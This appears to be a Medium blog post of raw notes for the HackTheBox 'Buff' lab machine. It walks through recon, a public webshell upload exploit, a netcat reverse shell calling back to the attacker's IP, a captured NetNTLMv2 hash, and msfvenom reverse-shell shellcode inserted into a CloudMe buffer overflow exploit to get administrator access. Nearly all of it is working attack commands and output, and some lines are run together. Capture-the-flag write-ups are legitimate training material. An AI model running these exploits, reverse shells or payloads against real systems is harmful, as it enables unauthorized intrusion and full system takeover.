Sitemap
Open in app

Sign in

Medium Logo
Write
Search

Sign in

Prasanna Shah

Prasanna Shah

Buff: HackTheBox | Raw note | Writeup | Walkthrough

Prasanna Shah
6 min readDec 5, 2025
Press enter or click to view image in full size

Port Scan

Nmap Scan

$ nmap -p- --min-rate 10000 10.10.10.198 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 16:45 EST
Nmap scan report for 10.10.10.198
Host is up (0.40s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE
8080/tcp open  http-proxy
$ nmap -p8080 -sC -sV 10.10.10.198 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 16:46 EST
Nmap scan report for 10.10.10.198
Host is up (0.29s latency).PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
|_http-open-proxy: Proxy might be redirecting requestsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.59 seconds

wfuzz

$ wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt --hc 404,403 http://10.10.10.198:8080/FUZZ/                             
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://10.10.10.198:8080/FUZZ/
Total requests: 29999=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================000000240:   200        2 L      14 W       132 Ch      "profile"                                                                                   
000000519:   503        39 L     98 W       1058 Ch     "examples"                                                                                  
000000386:   200        1004 L   4963 W     74798 Ch    "icons"                                                                                     
000001552:   200        2 L      14 W       132 Ch      "Profile"                                                                                   
000002346:   200        134 L    322 W      5008 Ch     "
$ wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-medium-files.txt --hc 404,403 http://10.10.10.198:8080/FUZZ/                             
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************Target: http://10.10.10.198:8080/FUZZ/
Total requests: 17129=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================000000010:   200        3 L      20 W       137 Ch      "register.php"                                                                              
000000104:   200        2 L      18 W       143 Ch      "home.php"                                                                                  
000000001:   200        133 L    308 W      4969 Ch     "index.php"                                                                                 
000000098:   200        118 L    265 W      4169 Ch     "contact.php"                                                                               
000000272:   200        113 L    268 W      4252 Ch     "feedback.php"                                                                              
000000388:   200        2 L      12 W       107 Ch      "upload.php"                                                                                
000000404:   200        121 L    278 W      4282 Ch     "edit.php"                                                                                  
000000371:   200        133 L    308 W      4969 Ch     "."                                                                                         
000000488:   200        141 L    433 W      5316 Ch     "about.php"                                                                                 
000001702:   200        4 L      24 W       209 Ch      "up.php"
000004208:   200        3 L      20 W       137 Ch      "Register.php"
$ python3 48506.py http://10.10.10.198:8080/                                                                                                               
/home/osboxes/ctf/htb/buff/48506.py:79: SyntaxWarning: invalid escape sequence '\/'
  SIG += BL+'            \/'+RS+'\n'
            /\
/vvvvvvvvvvvv \--------------------------------------,                                                                                                       
`^^^^^^^^^^^^ /============BOKU====================="
$ python3 48506.py http://10.10.10.198:8080/                                                                                                               
/home/osboxes/ctf/htb/buff/48506.py:79: SyntaxWarning: invalid escape sequence '\/'
  SIG += BL+'            \/'+RS+'\n'
            /\
/vvvvvvvvvvvv \--------------------------------------,                                                                                                       
`^^^^^^^^^^^^ /============BOKU====================="
            \/
[+] Successfully connected to webshell.Exiting.┌──(osboxes㉿osboxes)-[~/ctf/htb/buff]
└─$ python2 --version                                                                                                                                        
Python 2.7.18┌──(osboxes㉿osboxes)-[~/ctf/htb/buff]
└─$ python2 48506.py http://10.10.10.198:8080/                                                                                                               
            /\
/vvvvvvvvvvvv \--------------------------------------,                                                                                                       
`^^^^^^^^^^^^ /============BOKU====================="
            \/[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaunC:\xampp\htdocs\gym\upload>C:\xampp\htdocs\gym\upload> type \users\shaun\desktop\user.txt
�PNG
▒
bedbaf9507fe71b6bcfb79d54553d322

smbserver

┌──(osboxes㉿osboxes)-[~/ctf]
└─$ impacket-smbserver -smb2support buff .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedC:\xampp\htdocs\gym\upload> copy \\10.10.14.15\buff\nc64.exe
�PNG
▒
        1 file(s) copied.C:\xampp\htdocs\gym\upload>┌──(osboxes㉿osboxes)-[~/ctf]
└─$ impacket-smbserver -smb2support buff .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.198,49680)
[*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF)
[*] User BUFF\shaun authenticated successfully
[*] shaun::BUFF:aaaaaaaaaaaaaaaa:74eafcae1d2c1a79302802c738798e8f:010100000000000000b1737ed463dc01693fa2bc6e78bedb00000000010010007100550073005700640056004500540003001000710055007300570064005600450054000200100062006e005900500067004900760045000400100062006e005900500067004900760045000700080000b1737ed463dc01060004000200000008003000300000000000000000000000002000006a190d8af4badb0bb0aad0811f7ff87abe5f94a56751413aff2f7d0dd9a63f090a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310035000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:buff)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:buff)
[*] Closing down connection (10.10.10.198,49680)
[*] Remaining connections []

nc

┌──(osboxes㉿osboxes)-[~/ctf]
└─$ rlwrap nc -lnvp 443
listening on [any] 443 ...
C:\xampp\htdocs\gym\upload> nc64.exe -e cmd 10.10.14.15 443┌──(osboxes㉿osboxes)-[~/ctf]
└─$ rlwrap nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.198] 49681
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.C:\xampp\htdocs\gym\upload>C:\xampp\htdocs\gym\upload>hostname
hostname
BUFFC:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

post exploitation

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7
 Directory of C:\Users\shaun\Downloads14/07/2020  12:27    <DIR>          .
14/07/2020  12:27    <DIR>          ..
16/06/2020  15:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   7,814,426,624 bytes freeC:\Users\shaun\Downloads>C:\Users\shaun\Downloads>netstat -ano | findstr TCP | findstr ":0"
netstat -ano | findstr TCP | findstr ":0"
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       944
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       6300
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       7612
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       9132
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1076
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1680
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2192
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       668
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       688
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       6080
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       2488
  TCP    [::]:135               [::]:0                 LISTENING       944
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       7612
  TCP    [::]:8080              [::]:0                 LISTENING       9132
  TCP    [::]:49664             [::]:0                 LISTENING       524
  TCP    [::]:49665             [::]:0                 LISTENING       1076
  TCP    [::]:49666             [::]:0                 LISTENING       1680
  TCP    [::]:49667             [::]:0                 LISTENING       2192
  TCP    [::]:49668             [::]:0                 LISTENING       668
  TCP    [::]:49669             [::]:0                 LISTENING       688
C:\Users\shaun\Downloads>tasklist /v | findstr 1864
tasklist /v | findstr 1864

48389.py

$ searchsploit cloudme
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                                                                     | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                                                                            | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                                                                            | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)                                                                           | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)                                                                    | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)                                                             | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow                                                                                | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                                                                            | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                                                                   | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow                                                                                    | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass)                                                                 | windows_x86-64/remote/44784.py
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(osboxes㉿osboxes)-[~/ctf/htb/buff]
└─$ searchsploit -m windows/remote/48389.py                                                                                                                  
  Exploit: CloudMe 1.11.2 - Buffer Overflow (PoC)
      URL: https://www.exploit-db.com/exploits/48389
     Path: /usr/share/exploitdb/exploits/windows/remote/48389.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/osboxes/ctf/htb/buff/48389.py┌──(osboxes㉿osboxes)-[~/ctf/htb/buff]
└─$ ls                                                                                                                                                       
48389.py  48506.py  gms.py  test

msfvenom

$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=31337 -b '\x00\x0A\x0D' -f python -v payload                                     
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload =  b""
payload += b"\xbd\xb2\xde\x9b\xe3\xda\xc6\xd9\x74\x24\xf4"
payload += b"\x5a\x29\xc9\xb1\x52\x31\x6a\x12\x83\xc2\x04"
payload += b"\x03\xd8\xd0\x79\x16\xe0\x05\xff\xd9\x18\xd6"
payload += b"\x60\x53\xfd\xe7\xa0\x07\x76\x57\x11\x43\xda"
payload += b"\x54\xda\x01\xce\xef\xae\x8d\xe1\x58\x04\xe8"
payload += b"\xcc\x59\x35\xc8\x4f\xda\x44\x1d\xaf\xe3\x86"
payload += b"\x50\xae\x24\xfa\x99\xe2\xfd\x70\x0f\x12\x89"
payload += b"\xcd\x8c\x99\xc1\xc0\x94\x7e\x91\xe3\xb5\xd1"
payload += b"\xa9\xbd\x15\xd0\x7e\xb6\x1f\xca\x63\xf3\xd6"
payload += b"\x61\x57\x8f\xe8\xa3\xa9\x70\x46\x8a\x05\x83"
payload += b"\x96\xcb\xa2\x7c\xed\x25\xd1\x01\xf6\xf2\xab"
payload += b"\xdd\x73\xe0\x0c\x95\x24\xcc\xad\x7a\xb2\x87"
payload += b"\xa2\x37\xb0\xcf\xa6\xc6\x15\x64\xd2\x43\x98"
payload += b"\xaa\x52\x17\xbf\x6e\x3e\xc3\xde\x37\x9a\xa2"
payload += b"\xdf\x27\x45\x1a\x7a\x2c\x68\x4f\xf7\x6f\xe5"
payload += b"\xbc\x3a\x8f\xf5\xaa\x4d\xfc\xc7\x75\xe6\x6a"
payload += b"\x64\xfd\x20\x6d\x8b\xd4\x95\xe1\x72\xd7\xe5"
payload += b"\x28\xb1\x83\xb5\x42\x10\xac\x5d\x92\x9d\x79"
payload += b"\xf1\xc2\x31\xd2\xb2\xb2\xf1\x82\x5a\xd8\xfd"
payload += b"\xfd\x7b\xe3\xd7\x95\x16\x1e\xb0\x93\xec\x2e"
payload += b"\x44\xcc\xf2\x2e\x3e\x65\x7a\xc8\xd4\x65\x2a"
payload += b"\x43\x41\x1f\x77\x1f\xf0\xe0\xad\x5a\x32\x6a"
payload += b"\x42\x9b\xfd\x9b\x2f\x8f\x6a\x6c\x7a\xed\x3d"
payload += b"\x73\x50\x99\xa2\xe6\x3f\x59\xac\x1a\xe8\x0e"
payload += b"\xf9\xed\xe1\xda\x17\x57\x58\xf8\xe5\x01\xa3"
payload += b"\xb8\x31\xf2\x2a\x41\xb7\x4e\x09\x51\x01\x4e"
payload += b"\x15\x05\xdd\x19\xc3\xf3\x9b\xf3\xa5\xad\x75"
payload += b"\xaf\x6f\x39\x03\x83\xaf\x3f\x0c\xce\x59\xdf"
payload += b"\xbd\xa7\x1f\xe0\x72\x20\xa8\x99\x6e\xd0\x57"
payload += b"\x70\x2b\xe0\x1d\xd8\x1a\x69\xf8\x89\x1e\xf4"
payload += b"\xfb\x64\x5c\x01\x78\x8c\x1d\xf6\x60\xe5\x18"
payload += b"\xb2\x26\x16\x51\xab\xc2\x18\xc6\xcc\xc6"

replace 48389.py shellcode with this shellcode

Get Prasanna Shah’s stories in your inbox

Join Medium for free to get updates from this writer.

exploit

┌──(osboxes㉿osboxes)-[~/ctf/htb/buff]
└─$ python3 48389.py
$ rlwrap nc -lnvp 31337
listening on [any] 31337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.198] 49694
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
buff\administrator
C:\Windows\system32>cd ../..
cd ../..C:\>cd Users\Administrator\Desktop
cd Users\Administrator\DesktopC:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7 Directory of C:\Users\Administrator\Desktop18/07/2020  16:36    <DIR>          .
18/07/2020  16:36    <DIR>          ..
16/06/2020  15:41             1,417 Microsoft Edge.lnk
05/12/2025  19:36                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   8,614,035,456 bytes freeC:\Users\Administrator\Desktop>type root.txt
Hackthebox
Buff
Writeup
Walkthrough
Raw Notes

--

--

Prasanna Shah
Prasanna Shah

Written by Prasanna Shah

7 followers
6 following

Help

Status

About

Careers

Press

Blog

Store

Privacy

Rules

Terms

Text to speech